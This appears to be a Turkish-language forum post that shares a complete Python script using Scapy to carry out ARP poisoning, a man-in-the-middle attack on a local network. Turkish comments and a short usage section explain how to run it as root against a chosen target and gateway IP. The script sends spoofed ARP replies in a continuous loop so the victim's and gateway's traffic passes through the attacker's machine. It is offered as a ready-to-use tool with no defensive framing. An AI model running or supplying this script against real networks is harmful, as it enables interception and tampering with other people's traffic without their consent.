Kod:

import scapy.all as scapy
import time
import optparse

def get_mac_address(ip):

arp_req = scapy.ARP(pdst = ip)
#scapy.ls(scapy.ARP())

broad_req = scapy.Ether(dst = 'ff:ff:ff:ff:ff:ff')
#scapy.ls(scapy.Ether())

combined_packet = broad_req/arp_req
answered_list = scapy.srp(combined_packet,timeout = 1,verbose = False)[0]

return (answered_list[0][1].hwsrc)


def arp_poison(target_ip,poisened_ip):

target_mac = get_mac_address(target_ip)
arp_response = scapy.ARP(op = 2,pdst = target_ip, hwdst = target_mac, psrc = poisened_ip ) #op =1 request, op =2 response, modem macini kendi macimizle degistik
scapy.send(arp_response,verbose = False)
#scapy.ls(scapy.ARP())


def reset_operation(fooled_ip,gateway_ip):

fooled_mac = get_mac_address(fooled_ip)
gateway_mac = get_mac_address(gateway_ip)
arp_response = scapy.ARP(op = 2,pdst = fooled_ip, hwdst = fooled_mac , psrc = gateway_ip, hwsrc = gateway_mac) #reset
scapy.send(arp_response,verbose = False,count = 6)

def get_user_input():

parse_obj = optparse.OptionParser()
parse_obj.add_option('-t','--target',dest = 'target_ip', help ='Enter Target Ip')
parse_obj.add_option('-g','--gateway',dest = 'gateway_ip', help = 'Enter Gateway Ip' )

options = parse_obj.parse_args()[0]

if not options.target_ip:
print('Enter Target Ip!')

if not options.gateway_ip:
print('Enter Gateway Ip!')

return options

number = 0

user_ips = get_user_input()
user_target_ip = user_ips.target_ip
user_gateway_ip = user_ips.gateway_ip

try:
while True:

arp_poison(user_target_ip,user_gateway_ip)
arp_poison(user_gateway_ip,user_target_ip) #burada da modeme bizi target ip olarak gosteriyoruz

number += 2

print('\rSent Packets = ' + str(number) , end = ' ')

time.sleep(3)

except KeyboardInterrupt:
print ('\nQuit & Reset')
reset_operation(user_target_ip,user_gateway_ip)
reset_operation(user_gateway_ip,user_target_ip)
Kullanim

Kod:

python3 ./dosya_adi -t hedef_cihaz_ip -g poison_ip

Terminalimizi acip ilk olarak root iznimizi aliyoruz,dosyayi kaydettigimiz dizine gidiyoruz, yukaridaki komutu kaydettigimiz dosya adiyla beraber calistiriyoruz ve islem basliyor...


https://paste.ubuntu.com/p/ss8YrrR7cm/